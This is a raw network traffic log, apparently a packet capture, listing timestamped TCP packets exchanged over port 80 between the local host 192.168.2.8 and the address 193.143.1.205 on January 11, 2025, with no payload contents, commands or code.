Jan 11, 2025 02:29:45.691234112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691287041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.691788912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691842079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691876888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691895962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.691911936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691947937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691977978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.691982031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.692018032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.692018986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.692054033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.692106009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.698889971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.706684113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.711330891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711368084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711421967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711435080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.711457014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711493015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711503983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.711545944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711580992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711616993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.711637020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711683989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.711689949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711729050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711765051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711782932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.711797953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711832047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711847067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.711868048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.711908102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.722625017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.722685099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.748117924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.748178005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.748230934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.748260975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.748265028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.748301983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.748320103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.748336077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.748372078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.748387098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.748402119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.748456955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.776271105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776319027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776350975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776370049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776385069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.776393890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776412964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776424885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.776441097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776462078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.776469946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776489973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776506901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776514053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.776527882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776551962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.776557922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776581049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776597977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776602983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.776619911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776637077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.776644945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.776679039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.812443018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812482119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812542915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812565088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.812582970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812638998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812664032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.812716007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812751055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812803030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812879086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812932014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812962055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.812977076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813016891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813044071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813070059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813076019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813113928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813165903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813168049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813206911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813251972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813262939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813287020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813343048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813352108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813380003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813414097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813429117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813447952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813484907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813508034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813535929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813571930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813581944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813606024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813652039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813657999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813694000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813729048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813751936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813765049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813817978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813821077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813854933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813889027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813906908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813932896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.813941956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.813968897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814002037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814049006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814059973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814116955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814152002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814163923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814188957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814240932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814241886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814275980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814310074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814326048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814343929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814378977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814393997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814433098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814469099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814486980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814502954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814559937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814559937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814594984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814629078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814640999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814665079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814701080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814719915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814733982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814770937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814794064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814825058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814862967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814877987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814899921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814937115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.814956903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.814970970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.815006971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.815021992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.815042973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.815077066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.815093994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.819926977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.819974899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820022106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820039988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820050955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820063114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820070982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820107937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820188999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820199966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820210934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820235014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820254087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820265055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820275068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820286989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820293903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820313931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820399046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820411921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820422888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820434093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820442915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820451021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820461988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820471048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820492983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820631981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820672035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820687056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820698023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820729971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820751905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820764065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820775032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820797920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820889950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820936918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.820957899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.820970058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.821010113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.821052074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.821063042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.821074009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.821085930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.821093082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.821105003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.821137905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.836685896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.836698055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.836708069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.836730003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.836743116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.836760998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.836771011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.836806059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.836818933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.836828947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.836838961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.836854935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.837793112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.864814043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.864834070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.864842892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.864876986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.864886999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.864909887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.864957094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.864968061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.864979029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.864984035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.864995956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.865047932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901072025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901093006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901106119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901148081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901163101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901174068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901180983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901211977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901264906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901276112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901319027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901326895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901336908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901348114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901360035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901365995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901400089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901468992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901479006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901489019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901499033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901505947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901547909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901642084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901654005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901664019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901674986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901688099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901706934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901716948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901782036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901793003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901828051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901901960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901923895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901935101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.901942015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901952028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901962996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.901978970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902008057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902034998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902045012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902055979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902065039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902071953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902102947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902216911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902228117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902239084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902250051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902261019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902271032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902303934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902379036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902390003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902400970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902415037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902445078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902586937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902596951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902607918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902617931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902630091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902640104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902647018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902657032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902673006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902689934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902865887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902877092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902888060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902899981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902909040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902921915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902930021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902947903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902957916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.902965069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902975082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902986050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.902995110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903002977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903017998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903213978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903223038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903234005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903244019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903255939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903265953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903265953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903279066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903290033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903305054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903337002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903476000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903486967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903518915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903639078 CET	80	49704	193.143.1.205	192.168.2.8
